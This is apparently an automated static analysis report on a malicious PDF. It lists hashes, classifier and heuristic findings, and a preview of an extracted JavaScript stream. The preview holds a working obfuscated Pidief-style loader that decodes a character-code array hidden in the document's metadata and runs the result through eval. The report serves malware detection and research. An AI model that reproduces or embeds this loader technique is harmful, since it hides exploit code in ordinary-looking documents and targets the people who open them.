Malicious PDF — malware analysis report

Static analysis result for SHA-256 3983067cc0883cd0…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2013-08-11
MD5: 54117f6fb42d6cd0f921005e0d0b05bd SHA-1: c717e06101889fa3ce71062db77a92d398e23d14 SHA-256: 3983067cc0883cd036e4e368a8008644108a9f5bcbe0e1b16e36f1f468b1816d
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB016 482 bytes
SHA-256: 422dd566ee609b7d1140a2dbe7770ae47b12f0600c9092854ad95b303b1db7f3
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
moy=e(v[4]+'i'.concat(v[4],t));
q=moy[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
evm=e(e('d'));
sub=v[0];
sub+='ubject';
q=moy[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	pdr = 1*(q[i]);
	i++;
	pdr -= (-1)*(q[i]);
	s2 += evm(pdr);
	i++;
}
e(s2);

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